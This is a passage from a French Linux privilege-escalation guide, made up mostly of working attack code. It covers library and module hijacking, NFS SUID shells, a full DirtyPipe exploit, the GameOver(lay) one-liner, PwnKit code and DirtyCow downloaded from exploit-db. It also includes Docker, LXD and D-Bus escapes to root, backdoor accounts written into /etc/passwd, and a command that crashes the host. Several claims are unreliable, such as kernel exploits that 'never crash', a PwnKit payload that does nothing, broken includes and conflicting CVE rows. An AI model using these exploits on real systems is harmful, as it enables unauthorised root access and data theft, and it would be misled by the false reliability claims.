# sudo -l affiche : env_keep += LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
# Variante avec LD_LIBRARY_PATH
# Identifier les bibliothèques utilisées par la commande sudo autorisée
ldd /usr/sbin/apache2
# libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# Créer une fausse bibliothèque
cat > /tmp/libcrypt.c << 'EOF'
#include
#include
void __attribute__((constructor)) hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/libcrypt.so.1 /tmp/libcrypt.c
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
# Note importante : les binaires SUID standards ignorent LD_PRELOAD par sécurité
# Seul sudo avec env_keep est une exception couramment exploitable
# Vérifier : cat /etc/ld.so.preload (chargement système permanent)
cat /etc/ld.so.preload 2>/dev/null
Python et Perl Library Hijacking
Les interpréteurs Python et Perl recherchent les modules dans des répertoires spécifiques, dans un ordre défini. Si un script privilégié (SUID, cron root, sudo) importe un module et qu'un répertoire du chemin de recherche est writable par l'attaquant, il peut y placer un module malveillant qui sera chargé à la place du module légitime. Cette technique s'applique aussi à Ruby, Node.js et tout langage avec un mécanisme d'import de modules.
# Python Library Hijacking
# Vérifier l'ordre de recherche des modules Python
python3 -c 'import sys; print("\n".join(sys.path))'
# Sortie typique :
# (vide = répertoire courant)
# /usr/lib/python3/dist-packages
# /usr/lib/python3.10
# /usr/lib/python3.10/lib-dynload
# /usr/local/lib/python3.10/dist-packages
# Si un script root importe un module (ex: import requests)
# ET que /usr/local/lib/python3.10/dist-packages/ est writable
# OU que le répertoire courant (first in sys.path) est writable
# Créer un module Python malveillant
cat > /usr/local/lib/python3.10/dist-packages/requests.py << 'EOF'
import os
import sys
# Exécuter le payload avant d'importer le vrai module
os.system("cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash")
# Optionnel : importer le vrai module pour que le script ne crash pas
# (maintient la discrétion)
sys.path.remove('/usr/local/lib/python3.10/dist-packages')
import importlib
_real_requests = importlib.import_module('requests')
sys.modules['requests'] = _real_requests
EOF
# Vérifier si PYTHONPATH est préservé par sudo
# sudo -l : env_keep += PYTHONPATH
sudo PYTHONPATH=/tmp python3 /opt/scripts/admin.py
# Python : hijacking via __pycache__ et .pyc
# Si un répertoire __pycache__ est writable, on peut y placer un .pyc compilé
# qui sera chargé en priorité par Python (plus rapide que le .py)
# Perl Library Hijacking
# Vérifier l'ordre de recherche des modules Perl
perl -e 'print join("\n", @INC)'
# Sortie typique :
# /etc/perl
# /usr/local/lib/x86_64-linux-gnu/perl/5.34.0
# /usr/local/share/perl/5.34.0
# /usr/lib/x86_64-linux-gnu/perl5/5.34
# /usr/share/perl5
# /usr/lib/x86_64-linux-gnu/perl-base
# Si un script Perl root fait : use File::Copy;
# Et que /usr/local/share/perl/5.34.0/ est writable
mkdir -p /usr/local/share/perl/5.34.0/File/
cat > /usr/local/share/perl/5.34.0/File/Copy.pm << 'EOF'
package File::Copy;
use strict;
system("cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash");
# Charger le vrai module pour la discrétion
BEGIN {
my @filtered = grep { $_ ne '/usr/local/share/perl/5.34.0' } @INC;
local @INC = @filtered;
require File::Copy;
}
1;
EOF
# Perl : vérifier si PERL5LIB est préservé par sudo
# sudo PERL5LIB=/tmp perl /opt/scripts/admin.pl
# Ruby Library Hijacking (même principe)
ruby -e 'puts $LOAD_PATH'
# Si un répertoire est writable, créer un fichier .rb avec le nom du module importé
# Node.js Module Hijacking
# node cherche dans : ./node_modules, ../node_modules, etc. puis les chemins globaux
# Si le script s'exécute dans un répertoire où on peut créer node_modules/
mkdir -p /opt/app/node_modules/lodash/
cat > /opt/app/node_modules/lodash/index.js << 'EOF'
const { execSync } = require('child_process');
execSync('cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash');
module.exports = require('/usr/lib/node_modules/lodash');
EOF
NFS no_root_squash : Exploitation du Partage Réseau
NFS (Network File System) partage des répertoires entre machines. L'option no_root_squash permet à un utilisateur root sur une machine cliente de conserver ses privilèges root sur le partage NFS. Si l'attaquant peut monter le partage NFS depuis sa propre machine (en tant que root), il peut créer des fichiers SUID root qui seront exécutables sur la machine cible. C'est l'un des rares vecteurs qui permet une escalade depuis une machine distante sans exploit à proprement parler.
# Identifier les partages NFS
cat /etc/exports
showmount -e target.com
# Résultat exploitable :
# /home/user *(rw,no_root_squash)
# /tmp 10.0.0.0/24(rw,no_root_squash)
# /var/backups *(rw,no_root_squash,no_subtree_check)
# Exploitation depuis la machine de l'attaquant (en tant que root) :
mkdir /tmp/nfs_mount
mount -t nfs target.com:/home/user /tmp/nfs_mount
# Créer un binaire SUID root
cat > /tmp/nfs_mount/suid_shell.c << 'EOF'
#include
#include
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
EOF
gcc /tmp/nfs_mount/suid_shell.c -o /tmp/nfs_mount/suid_shell
chmod u+s /tmp/nfs_mount/suid_shell
chown root:root /tmp/nfs_mount/suid_shell
# Sur la machine cible (en tant qu'utilisateur non privilégié) :
/home/user/suid_shell
# → Shell root
# Alternative : copier un bash SUID directement
cp /bin/bash /tmp/nfs_mount/rootbash
chmod u+s /tmp/nfs_mount/rootbash
chown root:root /tmp/nfs_mount/rootbash
# Alternative : modifier /etc/passwd via le partage
# Si /etc est partagé (rare mais possible dans les mauvaises configurations)
echo 'hacker:$1$xyz$h7RQWB.vZn8F7FrmYqpGI/:0:0::/root:/bin/bash' >> /tmp/nfs_mount/../etc/passwd
Exploits Noyau : DirtyCow, DirtyPipe, GameOver(lay)
Les exploits noyau sont généralement le dernier recours — ils offrent une escalade de privilèges immédiate mais risquent de crasher le système sur les kernels instables. Ils ne laissent pas de traces dans les logs applicatifs mais peuvent être détectés par les mécanismes de sécurité noyau (SELinux, AppArmor, seccomp). Les exploits noyau récents (DirtyPipe, GameOverlay) sont cependant extrêmement fiables et ne crashent jamais le système, ce qui les rend aussi sûrs que les autres vecteurs d'escalade.
DirtyCow (CVE-2016-5195)
# Kernels affectés : Linux < 4.8.3 (octobre 2016)
# Race condition dans le mécanisme copy-on-write du noyau
# Permet d'écrire dans des fichiers en lecture seule (y compris /etc/passwd)
# Vérifier la vulnérabilité
uname -r
# Si kernel < 4.8.3 → potentiellement vulnérable
# Exploitation (variante /etc/passwd)
# Télécharger l'exploit approprié
wget https://www.exploit-db.com/download/40839 -O dirtycow-passwd.c
gcc -pthread dirtycow-passwd.c -o dirtycow -lcrypt
./dirtycow
# Crée un utilisateur "firefart" avec le mot de passe choisi et UID 0
# Variante : écraser un binaire SUID
gcc -pthread dirtycow-mem.c -o dirtycow-mem
./dirtycow-mem /usr/bin/passwd payload_binary
# Attention : DirtyCow peut être instable (race condition)
# Préférer DirtyPipe si le kernel est compatible
DirtyPipe (CVE-2022-0847)
# Kernels affectés : Linux 5.8 - 5.16.11 (mars 2022)
# Bug dans le mécanisme de pipe splice qui permet d'écrire
# dans des fichiers en lecture seule (y compris SUID binaries)
# Exploit TRÈS fiable — ne crash jamais le système
# Vérifier la version du kernel
uname -r
# Si 5.8 <= kernel < 5.16.11 → vulnérable
# Exploitation : modifier /etc/passwd (variante la plus simple)
cat > dirtypipe.c << 'EOF'
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
static void prepare_pipe(int p[2]) {
// Remplir le pipe pour que les flags PIPE_BUF_FLAG_CAN_MERGE soient set
char buf[PAGE_SIZE];
memset(buf, 0, sizeof(buf));
for (int i = 0; i < 16; i++) {
write(p[1], buf, sizeof(buf));
}
for (int i = 0; i < 16; i++) {
read(p[0], buf, sizeof(buf));
}
}
int main(int argc, char **argv) {
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGET OFFSET DATA\n", argv[0]);
return 1;
}
const char *path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *data = argv[3];
size_t data_size = strlen(data);
int fd = open(path, O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
int p[2];
pipe(p);
prepare_pipe(p);
// Splice une page du fichier cible dans le pipe
loff_t off = offset / PAGE_SIZE * PAGE_SIZE;
ssize_t nbytes = splice(fd, &off, p[1], NULL, 1, 0);
if (nbytes < 0) { perror("splice"); return 1; }
// Écrire nos données dans le pipe — elles écrasent le fichier !
size_t skip = offset - (offset / PAGE_SIZE * PAGE_SIZE);
// Positionner l'écriture au bon offset dans la page
char dummy[PAGE_SIZE];
read(p[0], dummy, skip);
write(p[1], data, data_size);
printf("[+] Written %zu bytes at offset %lld in %s\n", data_size, offset, path);
close(fd);
return 0;
}
EOF
gcc dirtypipe.c -o dirtypipe
# Écraser le champ password de root dans /etc/passwd
# root:x:0:0:root:/root:/bin/bash → root::0:0:root:/root:/bin/bash (pas de mot de passe)
./dirtypipe /etc/passwd 5 ""
# Puis : su root (sans mot de passe)
# Exploitation plus propre : écraser un binaire SUID
# Remplacer le contenu de /usr/bin/su par un shell qui donne root
./dirtypipe /usr/bin/su 0 "$(cat rootshell_elf)"
GameOver(lay) (CVE-2023-0386, CVE-2023-2640, CVE-2023-32629)
# Kernels affectés : Ubuntu 23.04, 22.10, 22.04, 20.04 (juillet 2023)
# Bug dans OverlayFS qui permet de créer des fichiers SUID
# dans un namespace non privilégié, puis de les utiliser dans le namespace principal
# Spécifique à Ubuntu (patches Ubuntu sur OverlayFS)
# Vérifier si OverlayFS est disponible
cat /proc/filesystems | grep overlay
# Vérifier la distribution
cat /etc/os-release | grep -i ubuntu
# CVE-2023-2640 + CVE-2023-32629 (Ubuntu spécifique)
# Exploitation en une ligne :
unshare -rm sh -c "
mkdir -p l u w m;
cp /u*/b*/p]asswd l/;
setcap cap_setuid+eip l/passwd;
mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m;
touch m/*;
" && u/passwd
# Explication détaillée :
# 1. unshare -rm : crée un namespace mount+user non privilégié
# 2. Copie /usr/bin/passwd dans le lower dir
# 3. Ajoute cap_setuid au binaire copié (autorisé dans le namespace)
# 4. Monte un overlay FS (lowerdir=copie, upperdir=u, merged=m)
# 5. touch m/* : force la copie-up des fichiers vers upperdir
# 6. Le fichier avec la capability "fuit" hors du namespace
# 7. u/passwd s'exécute avec cap_setuid → appelle setuid(0) → root
# CVE-2023-0386 (plus générique, pas limité à Ubuntu)
# Nécessite un exploit plus complexe qui crée un FUSE filesystem
# dans le namespace puis exploite l'overlay pour fuiter les permissions
Identification Automatique des Exploits Noyau
# linux-exploit-suggester
# https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
# linux-exploit-suggester-2 (Perl)
perl linux-exploit-suggester-2.pl
# kernelpop (Python)
python3 kernelpop.py
# Résultat typique :
# [+] [CVE-2022-0847] DirtyPipe
# Exposure: probable
# Kernel: 5.13.0-40-generic
# Details: https://haxx.in/files/dirtypipez.c
#
# [+] [CVE-2021-4034] PwnKit
# Exposure: probable
# Kernel: any
# Details: pkexec SUID polkit vulnerability
#
# [+] [CVE-2024-1086] nf_tables
# Exposure: probable
# Kernel: 5.14 - 6.6
| CVE | Nom | Kernels Affectés | Fiabilité | Risque Crash |
|---|---|---|---|---|
| CVE-2016-5195 | DirtyCow | < 4.8.3 | Élevée | Moyen (race condition) |
| CVE-2021-4034 | PwnKit | Toute version avec polkit | Très élevée | Nul |
| CVE-2022-0847 | DirtyPipe | 5.8 - 5.16.11 | Très élevée | Nul |
| CVE-2022-0185 | FSConfig | 5.1 - 5.16.2 | Moyenne | Moyen |
| CVE-2022-2588 | DirtyCred | 5.8 - 5.19 | Moyenne | Moyen |
| CVE-2023-0386 | OverlayFS | 5.11 - 6.2 | Élevée | Nul |
| CVE-2023-2640 | GameOver(lay) | Ubuntu spécifique | Très élevée | Nul |
| CVE-2023-32629 | GameOver(lay) | Ubuntu spécifique | Très élevée | Nul |
| CVE-2024-1086 | nf_tables | 5.14 - 6.6 | Élevée | Faible |
| CVE-2024-1086 | nf_tables Use-After-Free | 3.15 - 6.8 | Élevée | Faible |
Polkit/Pkexec : CVE-2021-4034 (PwnKit)
Polkit (anciennement PolicyKit) est un framework d'autorisation pour les systèmes Linux. Le binaire pkexec, installé SUID root sur quasiment toutes les distributions Linux, contenait une vulnérabilité de corruption mémoire exploitable depuis 2009 (12 ans avant sa découverte publique). PwnKit (CVE-2021-4034) est l'un des exploits d'escalade de privilèges les plus fiables jamais découverts : il fonctionne sur toutes les architectures, toutes les distributions, ne crash jamais, et ne nécessite aucune configuration particulière.
# Vérifier si pkexec est présent et SUID
ls -la /usr/bin/pkexec
# -rwsr-xr-x 1 root root 31032 ... /usr/bin/pkexec
# Vérifier la version de polkit
pkexec --version
# pkexec version 0.105 → vulnérable (toute version < 0.120)
dpkg -l policykit-1 2>/dev/null
rpm -qa polkit 2>/dev/null
# Exploitation CVE-2021-4034 (PwnKit)
# L'exploit abuse d'un bug dans la gestion de argc=0
# Quand pkexec est appelé avec argc=0 (pas d'argv[0]),
# il lit en dehors des limites de argv[] dans envp[]
# ce qui permet d'injecter une variable d'environnement non sécurisée
# Exploit en C (le plus fiable)
cat > pwnkit.c << 'EOF'
#include
#include
#include
void gconv() __attribute__((constructor));
void gconv() {
// Ce code s'exécute quand la bibliothèque est chargée
}
EOF
cat > pwnkit-exploit.c << 'EOF'
#include
#include
#include
#include
#include
// Créer la structure nécessaire pour l'exploit
int main(void) {
// Créer le répertoire pour le module gconv
mkdir("GCONV_PATH=.", 0777);
mkdir("GCONV_PATH=./lol", 0777);
// Créer le fichier gconv-modules
FILE *fp = fopen("GCONV_PATH=./lol/gconv-modules", "w");
fprintf(fp, "module UTF-8// INTERNAL ../payload 2\n");
fclose(fp);
// Compiler le payload
system("gcc -shared -fPIC -o payload.so pwnkit.c");
// Le payload doit exécuter setuid(0) + system("/bin/bash")
// Créer le charset path
fp = fopen("charset.alias", "w");
fprintf(fp, "CHARSET=UTF-8\n");
fclose(fp);
// Exécuter pkexec avec argc=0
char *empty_args[] = { NULL };
char *envp[] = {
"lol",
"PATH=GCONV_PATH=.",
"CHARSET=GCONV_PATH=.",
"SHELL=bash",
"GIO_USE_VFS=local",
NULL
};
execve("/usr/bin/pkexec", empty_args, envp);
return 0;
}
EOF
gcc pwnkit-exploit.c -o pwnkit
./pwnkit
# → root shell immédiat
# Alternative : utiliser l'exploit Python (plus simple)
python3 << 'PYEOF'
import os
import sys
import struct
# PwnKit Python implementation
# Crée les fichiers nécessaires et exécute pkexec avec argc=0
os.makedirs("GCONV_PATH=.", exist_ok=True)
os.makedirs("GCONV_PATH=./lol", exist_ok=True)
# Module gconv malveillant
with open("GCONV_PATH=./lol/gconv-modules", "w") as f:
f.write("module UTF-8// INTERNAL ../payload 2\n")
# Payload shared object
payload_c = '''
#include
#include
#include
void gconv() {}
void gconv_init() {
setuid(0); setgid(0);
system("cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash");
}
'''
with open("payload.c", "w") as f:
f.write(payload_c)
os.system("gcc -shared -fPIC -o payload.so payload.c -nostartfiles")
# Exécuter pkexec avec argc=0 via la technique de fork/exec
os.execve("/usr/bin/pkexec", [], {
"lol": "",
"PATH": "GCONV_PATH=.",
"CHARSET": "GCONV_PATH=.",
"SHELL": "bash",
"GIO_USE_VFS": "local",
})
PYEOF
Point essentiel : PwnKit (CVE-2021-4034) reste l'un des exploits d'escalade de privilèges les plus importants de l'histoire de Linux. Il affecte toute installation de polkit antérieure à janvier 2022, ne crash jamais le système, fonctionne sur toutes les architectures (x86, x64, ARM), et ne nécessite aucune condition préalable autre que la présence du binaire pkexec SUID. En 2026, il reste exploitable sur les systèmes non mis à jour — serveurs legacy, appliances réseau, systèmes embarqués, et VMs jamais patchées.
Abus de permissions
Docker Socket Escape et Container Breakout
Un conteneur Docker n'est pas une machine virtuelle — c'est un processus isolé par des namespaces et des cgroups. Si le conteneur est mal configuré, l'évasion vers le host est possible, donnant un accès root au système hôte. Les erreurs de configuration les plus courantes sont : le montage du socket Docker, l'utilisation du mode privilégié, et l'attribution de capabilities dangereuses.
Détection de l'Environnement Docker
# Vérifier si on est dans un conteneur Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname # Souvent un hash court en conteneur (12 chars hex)
mount | grep overlay # Filesystem overlay = Docker
cat /proc/1/sched | head -1 # Le nom du processus 1 (init vs app)
# Indicateurs supplémentaires
cat /proc/1/mountinfo | grep -i docker
ls /proc/*/ns/pid | head -5 # Nombre limité de processus
ip addr | grep "172.17" # Réseau Docker par défaut
Docker Socket Monté (Escalade Immédiate)
# Si le socket Docker est monté dans le conteneur :
ls -la /var/run/docker.sock
# C'est game over — accès root au host immédiat
# Créer un conteneur privilégié qui monte le filesystem host
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash
# Si docker CLI n'est pas installé, utiliser curl directement
# Vérifier que le socket répond
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# Lister les images disponibles
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool
# Créer un conteneur avec accès au filesystem host
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "chroot /mnt /bin/bash -c \"echo hacker::0:0::/root:/bin/bash >> /etc/passwd\""],
"Mounts": [{
"Type": "bind",
"Source": "/",
"Target": "/mnt"
}],
"Privileged": true
}'
# Réponse : {"Id":"abc123..."}
# Démarrer le conteneur
curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/abc123/start"
# Si aucune image n'est disponible localement
# Utiliser l'API pour pull une image
curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/images/create?fromImage=alpine&tag=latest"
Conteneur Privilégié (--privileged)
# Un conteneur lancé avec --privileged a accès à tous les devices du host
# Vérifier : si /dev/sda est accessible
fdisk -l 2>/dev/null
ls /dev/sd* /dev/nvme* 2>/dev/null
# Méthode 1 : Monter le filesystem root du host
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
# → root sur le host
# Méthode 2 : Évasion via cgroups release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Le host exécute /cmd quand le cgroup est libéré
# Méthode 3 : Injection via /proc/sysrq-trigger (conteneur privilégié)
# Crash volontaire du host (destructif — dernier recours en CTF)
echo c > /proc/sysrq-trigger
Capabilities Dangereuses en Conteneur
# Vérifier les capabilities du conteneur
capsh --print
cat /proc/1/status | grep -i cap
# CAP_SYS_ADMIN : mount, bpf, ptrace
# → Même technique que le conteneur privilégié (mount du host FS)
mount /dev/sda1 /mnt
# CAP_SYS_PTRACE + --pid=host : injection dans les processus du host
# Si le conteneur peut voir les processus du host
ps aux | grep -c "" # Si > 100 processus → probablement --pid=host
# Identifier un processus root du host et injecter du code
# Utiliser nsenter pour rejoindre le namespace du processus host
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# → Shell root dans le namespace du host
# CAP_DAC_READ_SEARCH : lecture de fichiers via /proc
# Lire les fichiers du host via /proc/1/root/
cat /proc/1/root/etc/shadow
cat /proc/1/root/root/.ssh/id_rsa
# CAP_NET_ADMIN : modification réseau
# → ARP spoofing, interception de trafic entre conteneurs
LXD/LXC Group Abuse : Escalade via Conteneurs Système
L'appartenance au groupe lxd ou lxc permet de créer et gérer des conteneurs LXC/LXD. Contrairement à Docker, LXD gère des conteneurs système complets qui peuvent monter le filesystem du host. Un utilisateur dans le groupe lxd peut créer un conteneur privilégié qui accède à la totalité du filesystem root du host, permettant une escalade immédiate vers root.
# Vérifier l'appartenance au groupe lxd/lxc
id
# uid=1000(user) gid=1000(user) groups=1000(user),108(lxd)
# Méthode 1 : Avec une image existante (connexion internet)
lxc init ubuntu:22.04 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc -- /bin/bash
# Dans le conteneur :
chroot /mnt/root /bin/bash
# → root sur le host
# Méthode 2 : Sans connexion internet (image locale)
# Sur la machine de l'attaquant : créer une image Alpine minimale
# Télécharger : https://images.linuxcontainers.org/
# Ou utiliser un builder :
mkdir -p rootfs && debootstrap focal rootfs
tar czf rootfs.tar.gz -C rootfs .
cat > metadata.yaml << 'EOF'
architecture: "x86_64"
creation_date: 1620000000
properties:
architecture: "x86_64"
description: "Alpine minimal"
os: "Alpine"
release: "3.18"
EOF
tar czf metadata.tar.gz metadata.yaml
# Transférer sur la cible et importer
lxc image import metadata.tar.gz rootfs.tar.gz --alias privesc-image
lxc init privesc-image privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc -- /bin/bash
# → Accès au filesystem host via /mnt/root
# Méthode 3 : Utiliser la storage pool directement
# Si lxd est initialisé avec un storage pool ZFS ou BTRFS
lxc storage list
# Créer un volume et y copier des fichiers du host
# Exploitation complète pas-à-pas (sans internet)
# Étape 1 : Initialiser LXD si pas déjà fait
lxd init --auto
# Étape 2 : Importer l'image la plus petite possible
# Construire localement :
mkdir /tmp/lxd-image && cd /tmp/lxd-image
mkdir rootfs
# Créer un système de fichiers minimal
cat > rootfs/bin/sh << 'SHELL'
#!/bin/busybox sh
exec /bin/busybox sh "$@"
SHELL
# Copier busybox statique
cp /bin/busybox rootfs/bin/
tar czf rootfs.tar.gz -C rootfs .
cat > metadata.yaml << 'YAML'
architecture: x86_64
creation_date: $(date +%s)
properties:
os: alpine
release: "3.18"
architecture: x86_64
YAML
tar czf metadata.tar.gz metadata.yaml
lxc image import metadata.tar.gz rootfs.tar.gz --alias exploit
lxc init exploit pwned -c security.privileged=true
lxc config device add pwned hostfs disk source=/ path=/mnt
lxc start pwned
lxc exec pwned -- chroot /mnt bash
# Résultat : shell root avec accès complet au filesystem du host
id # uid=0(root) gid=0(root)
Writable /etc/passwd et /etc/shadow
Si /etc/passwd est writable (erreur de permissions ou conséquence d'une autre exploitation), l'escalade est triviale. Historiquement, /etc/passwd contenait les hashes de mots de passe directement — certains systèmes legacy ou mal configurés permettent encore d'y stocker un hash qui sera utilisé à la place de /etc/shadow.
# Vérifier les permissions
ls -la /etc/passwd /etc/shadow
# Si /etc/passwd est writable :
# Générer un hash de mot de passe
openssl passwd -1 -salt xyz password123
# Résultat : $1$xyz$h7RQWB.vZn8F7FrmYqpGI/
# Méthode 1 : Ajouter un utilisateur root
echo 'hacker:$1$xyz$h7RQWB.vZn8F7FrmYqpGI/:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
su hacker
# Mot de passe : password123
# Méthode 2 : Modifier le hash de root directement
# Remplacer le 'x' du champ password par le hash
# root:x:0:0:root:/root:/bin/bash
# → root:$1$xyz$h7RQWB.vZn8F7FrmYqpGI/:0:0:root:/root:/bin/bash
sed -i 's/^root:x:/root:\$1\$xyz\$h7RQWB.vZn8F7FrmYqpGI\/:/' /etc/passwd
su root
# Méthode 3 : Supprimer le mot de passe de root
sed -i 's/^root:x:/root::/' /etc/passwd
su root
# → Connexion sans mot de passe
# Si /etc/shadow est writable (rare mais possible)
# Remplacer le hash de root par un hash connu
# Format : root:$hash:days_since_epoch:min:max:warn:inactive:expire:
# Générer le hash
openssl passwd -6 -salt xyz password123
# Remplacer dans /etc/shadow
sed -i "s|^root:[^:]*:|root:\$6\$xyz\$HASH_HERE:|" /etc/shadow
# Si on peut lire /etc/shadow mais pas l'écrire
# Copier les hashes et les cracker avec john/hashcat
cat /etc/shadow > /tmp/shadow_copy
# Sur la machine de l'attaquant :
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow_copy
hashcat -m 1800 -a 0 shadow_hashes.txt rockyou.txt # SHA-512
hashcat -m 500 -a 0 shadow_hashes.txt rockyou.txt # MD5
D-Bus Exploitation
D-Bus est le système de communication inter-processus (IPC) utilisé sur la plupart des distributions Linux modernes. Les services système exposent des interfaces D-Bus qui permettent aux applications d'interagir avec eux. Si un service D-Bus permet l'exécution de commandes ou la modification de la configuration système, et que la politique d'autorisation (polkit) est mal configurée, un utilisateur non privilégié peut escalader ses privilèges en appelant les méthodes exposées.
# Énumération des services D-Bus système
busctl list
busctl list --system
# Identifier les services non standard (pas org.freedesktop.*)
# Explorer l'arbre d'un service
busctl tree org.freedesktop.systemd1
busctl tree com.custom.service
# Lister les méthodes exposées par une interface
busctl introspect org.freedesktop.systemd1 /org/freedesktop/systemd1
# Identifier les méthodes intéressantes
busctl introspect com.custom.service /com/custom/Service
# Chercher : Execute, Run, Command, Exec, Shell, Script
# Exploitation d'un service D-Bus vulnérable
dbus-send --system --print-reply \
--dest=com.custom.service \
/com/custom/Service \
com.custom.Service.Execute \
string:"/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'"
# Exploitation de systemd via D-Bus (si autorisé par polkit)
# Créer un service transient (éphémère) qui exécute notre commande
busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 \
org.freedesktop.systemd1.Manager StartTransientUnit \
'ssa(sv)a(sa(sv))' \
'exploit.service' 'fail' \
2 \
'Description' s 'Exploit Service' \
'ExecStart' a'(sasb)' 1 '/bin/bash' 2 '/bin/bash' '-c' 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' false \
0
# Vérifier les politiques polkit (autorisation D-Bus)
pkaction --verbose
# Chercher les actions avec "allow_active=yes" (pas d'authentification requise)
# Ou les actions accessibles via "allow_any=yes"
# Exploitation de PackageKit via D-Bus (installation de paquets)
# Si PackageKit permet l'installation sans authentification
dbus-send --system --type=method_call --print-reply \
--dest=org.freedesktop.PackageKit \
/org/freedesktop/PackageKit \
org.freedesktop.PackageKit.Transaction.InstallPackages \
uint32:0 array:string:"malicious-package"
# Enumération automatisée avec dfeet (GUI) ou gdbus
gdbus introspect --system --dest org.freedesktop.systemd1 \
--object-path /org/freedesktop/systemd1 --recurse
Groupes à Privilèges : docker, lxd, disk, adm, video
L'appartenance à certains groupes confère des privilèges équivalents à root. L'identification des groupes de l'utilisateur est l'une des premières étapes de l'énumération.
# Vérifier les groupes de l'utilisateur
id
groups
# Groupe docker → accès root au host (voir section Docker)
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash
# Groupe lxd → accès root au host (voir section LXD)
lxc init ubuntu:22.04 privesc -c security.privileged=true
# Groupe disk → lecture/écriture directe des disques bruts
# Accès au raw block device → lecture de tout fichier
debugfs /dev/sda1
# debugfs : cat /etc/shadow
# debugfs : cat /root/.ssh/id_rsa
# debugfs : ls /root/
# Ou avec dd :
dd if=/dev/sda1 bs=1 skip=$OFFSET count=$SIZE 2>/dev/null
# Groupe adm → lecture des logs système
cat /var/log/auth.log # Contient parfois des mots de passe en clair (typos)
cat /var/log/syslog # Informations sensibles sur les services
cat /var/log/apache2/access.log # URLs avec tokens/credentials
grep -r "password\|passwd\|secret" /var/log/ 2>/dev/null
# Groupe video → accès au framebuffer (capture d'écran)
cat /dev/fb0 > /tmp/screen.raw
# Résolution : cat /sys/class/graphics/fb0/virtual_size
# Convertir : ffmpeg -f rawvideo -pix_fmt rgb32 -s 1920x1080 -i /tmp/screen.raw screenshot.png
# Utilité : capturer des sessions GUI avec des credentials visibles
# Groupe shadow → lecture de /etc/shadow
cat /etc/shadow
# Puis cracker les hashes avec john ou hashcat offline
# Groupe staff → écriture dans /usr/local
# Permet le PATH hijacking si des scripts root utilisent des commandes dans /usr/local/bin
echo '#!/bin/bash' > /usr/local/bin/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/service
chmod +x /usr/local/bin/service
# Groupe sudo/wheel → exécuter sudo (si mot de passe connu)
# Parfois l'utilisateur est dans le groupe sudo mais n'a pas de règle sudoers
# Vérifier : cat /etc/sudoers | grep "%sudo"
| Groupe | Impact | Technique d'Exploitation | Complexité |
|---|---|---|---|
| docker | Root sur le host | Conteneur avec montage / | Triviale |
| lxd | Root sur le host | Conteneur privilégié | Faible |
| disk | Lecture de tout fichier | debugfs / dd | Faible |
| adm | Lecture des logs | grep credentials dans les logs | Variable |
| video | Capture d'écran | Lecture /dev/fb0 | Faible |
| shadow | Lecture des hashes | cat + cracking offline | Moyenne |
| staff | PATH hijacking | Binaires dans /usr/local/bin | Moyenne |
| sudo/wheel | Root si mot de passe connu | sudo su | Nécessite credentials |
Shared Object Injection et RPATH Exploitation
Quand un binaire SUID ou un service privilégié charge une bibliothèque partagée (.so) qui n'existe pas ou dont le chemin est configurable, l'attaquant peut créer une bibliothèque malveillante à cet emplacement. Cette technique s'applique aussi aux binaires qui utilisent un RPATH (Runtime Library Path) pointant vers un répertoire writable.
# Identifier les bibliothèques manquantes pour un binaire SUID
strace /usr/local/bin/suid_binary 2>&1 | grep "No such file"
# Sortie : open("/usr/lib/custom/libutils.so", ...) = -1 ENOENT (No such file)
# Vérifier si le répertoire est writable
ls -la /usr/lib/custom/
# Si le répertoire n'existe pas → vérifier si on peut le créer
ls -la /usr/lib/ | grep custom
# Créer la bibliothèque malveillante
cat > /tmp/libutils.c << 'EOF'
#include
#include
